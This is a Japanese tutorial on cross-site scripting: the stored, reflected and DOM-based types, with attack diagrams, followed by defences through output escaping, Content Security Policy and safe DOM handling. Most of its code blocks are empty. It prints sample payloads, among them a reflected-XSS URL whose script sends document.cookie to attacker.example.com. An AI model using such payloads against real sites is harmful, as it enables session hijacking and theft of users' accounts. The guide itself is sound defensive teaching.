Webアプリケーションにおいて、XSS(クロスサイトスクリプティング)は最も頻繁に発生する脆弱性の一つです。OWASPのTop 10でも常に上位にランクインしており、すべてのWeb開発者が理解しておくべきセキュリティ脅威です。
この記事では、XSS攻撃とは何か、3つの種類(Stored XSS、Reflected XSS、DOM-based XSS)の違い、具体的な攻撃シナリオ、そしてエスケープ処理やCSP(Content Security Policy)による対策方法まで、実践的な観点から解説します。
XSS(クロスサイトスクリプティング)とは
XSS(Cross-Site Scripting)は、攻撃者が悪意のあるスクリプトを信頼されているWebサイトに注入し、他のユーザーのブラウザで実行させる攻撃手法です。
XSS攻撃の基本的な流れ
sequenceDiagram
autonumber
participant Attacker as 攻撃者
participant Website as Webサイト
participant Victim as 被害者
participant AttackerServer as 攻撃者サーバー
Note over Attacker,Website: 1. 攻撃者が悪意のあるスクリプトを注入
Attacker->>Website: <script>悪意のコード</script>
Note over Victim,Website: 2. 被害者がページにアクセス
Victim->>Website: ページをリクエスト
Website-->>Victim: 悪意のスクリプトを含むHTML
Note over Victim,AttackerServer: 3. 被害者のブラウザでスクリプトが実行される
Victim->>AttackerServer: Cookie/セッション情報XSS攻撃で何ができるのか
XSS攻撃が成功すると、攻撃者は以下のような悪意ある操作を実行できます。
- セッションハイジャック: Cookieやセッショントークンを盗み、ユーザーになりすます
- キーロガーの設置: ユーザーの入力(パスワード、クレジットカード情報など)を記録
- フィッシング: 偽のログインフォームを表示して認証情報を詐取
- マルウェア配布: ユーザーを悪意のあるサイトにリダイレクト
- Webページの改ざん: ページの内容を書き換えて偽情報を表示
XSS攻撃の3つの種類
XSS攻撃は、悪意のあるスクリプトが挿入される場所と実行されるタイミングによって、大きく3つの種類に分類されます。
1. Stored XSS(格納型XSS)
Stored XSS(格納型XSS)は、悪意のあるスクリプトがサーバー側のデータベースに永続的に保存される攻撃です。3種類の中で最も危険性が高く、被害が広範囲に及ぶ可能性があります。
sequenceDiagram
participant Attacker as 攻撃者
participant Website as Webサイト
participant DB as データベース
participant Victim as 被害者
Note over Attacker,DB: Step 1: 攻撃者がコメントとしてスクリプトを投稿
Attacker->>Website: "素晴らしい記事ですね!<br><script>alert(1)</script>"
Website->>DB: 保存
Note over Victim,Website: Step 2: 被害者がページを閲覧
Victim->>Website: ページを閲覧
Website-->>Victim: スクリプトが含まれたHTMLが返される
Note over Victim: スクリプト実行<br>Cookie漏洩/セッションハイジャック攻撃シナリオ:コメント機能を悪用したCookie窃取
掲示板やブログのコメント欄が適切にサニタイズされていない場合を想定します。
脆弱なコード例(PHP):
|
|
攻撃者が投稿するコメント:
|
|
このコメントがデータベースに保存されると、そのページを閲覧したすべてのユーザーのCookieが攻撃者のサーバーに送信されます。
2. Reflected XSS(反射型XSS)
Reflected XSS(反射型XSS)は、悪意のあるスクリプトがURLパラメータなどを通じてサーバーに送信され、レスポンスとしてそのまま反射(reflect)される攻撃です。
sequenceDiagram
participant Attacker as 攻撃者
participant Victim as 被害者
participant Website as Webサイト
Note over Attacker: Step 1: 攻撃者が悪意のあるURLを作成<br>https://example.com/search?q=<script>...</script>
Note over Attacker,Victim: Step 2: 被害者に悪意のあるリンクをクリックさせる
Attacker->>Victim: メール/SNSで悪意のあるリンクを送信
Victim->>Victim: リンクをクリック
Note over Victim,Website: Step 3: サーバーがスクリプトを含むレスポンスを返す
Victim->>Website: 検索リクエスト
Website-->>Victim: スクリプトを含む検索結果ページ攻撃シナリオ:検索機能を悪用した攻撃
検索結果ページで検索キーワードをそのまま表示する場合を想定します。
脆弱なコード例(Node.js/Express):
|
|
攻撃者が作成する悪意のあるURL:
https://example.com/search?q=<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
被害者がこのリンクをクリックすると、ブラウザはCookieを攻撃者のサーバーに送信してしまいます。
3. DOM-based XSS
DOM-based XSSは、サーバー側でスクリプトが処理されることなく、クライアントサイドのJavaScriptがDOMを操作する際に発生するXSS攻撃です。
sequenceDiagram
participant Victim as 被害者
participant Website as Webサイト
participant Browser as ブラウザ
Note over Victim,Website: Step 1: 正規のHTMLがサーバーから返される
Victim->>Website: HTMLをリクエスト
Website-->>Victim: 正常なHTML(スクリプトなし)
Note over Browser: Step 2: クライアントサイドのJSが<br>URLから悪意のあるコードを読み取り実行
Note over Browser: URL: https://example.com/#<script>...</script>
Note over Browser: JavaScript: document.write(location.hash)
Note over Browser: DOMに悪意のあるスクリプトが挿入・実行される攻撃シナリオ:URLフラグメントを利用した攻撃
ページ内でURLのハッシュ値を使ってコンテンツを動的に表示する場合を想定します。
脆弱なコード例(JavaScript):
|
|
攻撃者が作成する悪意のあるURL:
https://example.com/#<img src=x onerror="alert(document.cookie)">
DOM-based XSSの特徴は、悪意のあるペイロードがサーバーに送信されないため、サーバー側のログに残らない点です。これにより、攻撃の検出が困難になります。
XSS攻撃の種類比較
| 種類 | 保存場所 | 発動条件 | 影響範囲 | 検出難易度 |
|---|---|---|---|---|
| Stored XSS | サーバーのDB | ページ閲覧時 | 複数ユーザー | 中 |
| Reflected XSS | URL/リクエスト | リンククリック時 | リンクを踏んだユーザー | 低 |
| DOM-based XSS | クライアント | ページ閲覧時 | リンクを踏んだユーザー | 高 |
XSS対策の基本:エスケープ処理
XSS攻撃を防ぐ最も基本的な対策は、ユーザーからの入力を適切にエスケープ(サニタイズ)することです。
HTMLエスケープの基本
HTMLコンテキストでは、以下の文字をエスケープする必要があります。
| 元の文字 | エスケープ後 |
|---|---|
< |
< |
> |
> |
& |
& |
" |
" |
' |
' |
言語別のエスケープ処理
JavaScript(Node.js)
|
|
PHP
|
|
Python(Django)
Djangoのテンプレートエンジンはデフォルトで自動エスケープが有効です。
|
|
|
|
コンテキストに応じたエスケープ
エスケープ処理は、出力先のコンテキストによって適切な方法を選択する必要があります。
| コンテキスト | 例 | エスケープ方法 |
|---|---|---|
| HTML要素内 | <div>ユーザー入力</div> |
HTMLエスケープ(< > & など) |
| HTML属性内 | <input value="ユーザー入力"> |
HTMLエスケープ + 属性は必ずクォートで囲む |
| JavaScript内 | <script>var name = "ユーザー入力";</script> |
JavaScriptエスケープ(Unicode形式など) |
| URL内 | <a href="https://example.com?q=ユーザー入力"> |
URLエンコード(encodeURIComponent) |
| CSS内 | <style>body { background: ユーザー入力; }</style> |
CSSエスケープ(許可リスト方式推奨) |
CSP(Content Security Policy)による多層防御
エスケープ処理に加えて、CSP(Content Security Policy)を設定することで、XSS攻撃に対する多層防御を実現できます。CSPは、ブラウザに対してどのリソースを読み込んで実行してよいかを指示するセキュリティ機構です。
CSPの基本概念
CSPは、HTTPレスポンスヘッダーまたはHTMLのmetaタグで設定します。
HTTPヘッダーでの設定:
|
|
HTMLメタタグでの設定:
|
|
CSPディレクティブの種類
主要なCSPディレクティブとその役割を紹介します。
| ディレクティブ | 説明 |
|---|---|
default-src |
他のディレクティブが指定されていない場合のデフォルト |
script-src |
JavaScriptの読み込み元を制限 |
style-src |
CSSの読み込み元を制限 |
img-src |
画像の読み込み元を制限 |
font-src |
フォントの読み込み元を制限 |
connect-src |
XHR、WebSocket、Fetchの接続先を制限 |
frame-src |
iframe内に埋め込めるコンテンツを制限 |
object-src |
プラグイン(Flash等)の読み込みを制限 |
base-uri |
<base>タグで指定できるURLを制限 |
XSS対策に効果的なCSP設定例
基本的なCSP設定
|
|
この設定により以下の保護が適用されます。
- スクリプトは同一オリジンからのみ読み込み可能
- インラインスクリプトの実行をブロック
<object>や<embed>要素をブロック- クリックジャッキングを防止
Nonce(ナンス)を使用した厳格なCSP
インラインスクリプトを許可しつつセキュリティを維持するには、Nonceを使用します。
サーバー側(Node.js/Express):
|
|
ハッシュを使用したCSP
静的なインラインスクリプトには、ハッシュベースのCSPも有効です。
|
|
スクリプトのハッシュは以下のコマンドで生成できます。
|
|
CSP違反のレポート
CSPには違反が発生した際にレポートを送信する機能があります。
|
|
レポートエンドポイントの設定:
|
|
レポートの受信例(Node.js):
|
|
CSP導入時の注意点
CSPを導入する際は、以下の点に注意が必要です。
- 段階的な導入: まず
Content-Security-Policy-Report-Onlyヘッダーで影響を確認 - 既存コードの確認: インラインスクリプトやeval()の使用箇所を把握
- サードパーティの確認: 外部サービス(アナリティクス、広告等)の対応確認
unsafe-inlineの回避: 可能な限りNonceやハッシュを使用
DOM-based XSS対策
DOM-based XSSはクライアントサイドで発生するため、サーバー側の対策だけでは防げません。
危険なDOM操作を避ける
以下のプロパティやメソッドは、XSS脆弱性を引き起こす可能性があります。
|
|
安全なDOM操作の例
|
|
URLパラメータの安全な処理
|
|
フレームワーク別のXSS対策
React
ReactはデフォルトでJSXの値をエスケープします。
|
|
Vue.js
Vue.jsも同様にデフォルトでエスケープを行います。
|
|
Angular
Angularはセキュリティコンテキストに基づいて自動的にサニタイズを行います。
|
|
実践:XSS脆弱性の検出と修正
脆弱性スキャンツールの活用
XSS脆弱性を検出するためのツールを紹介します。
| ツール名 | 種類 | 特徴 |
|---|---|---|
| OWASP ZAP | 動的スキャナー | 無料、オープンソース |
| Burp Suite | 動的スキャナー | 高機能、プロ版は有料 |
| ESLint(security plugin) | 静的解析 | コード記述時にチェック |
| SonarQube | 静的解析 | CI/CD統合が容易 |
開発者ツールでの確認
ブラウザの開発者ツールを使用して、CSPの設定状況を確認できます。
- 開発者ツールを開く(F12)
- Consoleタブでエラーを確認
- NetworkタブでHTTPヘッダーを確認
- SecurityタブでCSPの状況を確認
まとめ
XSS(クロスサイトスクリプティング)攻撃は、Webアプリケーションにおいて最も一般的な脆弱性の一つです。効果的な対策には、複数の防御層を組み合わせることが重要です。
XSS対策の3つの柱:
- 入力のバリデーション: 想定外の入力を受け付けない
- 出力のエスケープ: コンテキストに応じた適切なエスケープ処理
- CSPの導入: ブラウザレベルでの実行制限
これらの対策を適切に実装することで、XSS攻撃のリスクを大幅に軽減できます。セキュリティは継続的な取り組みが必要です。定期的な脆弱性診断と、最新のセキュリティ情報のキャッチアップを心がけましょう。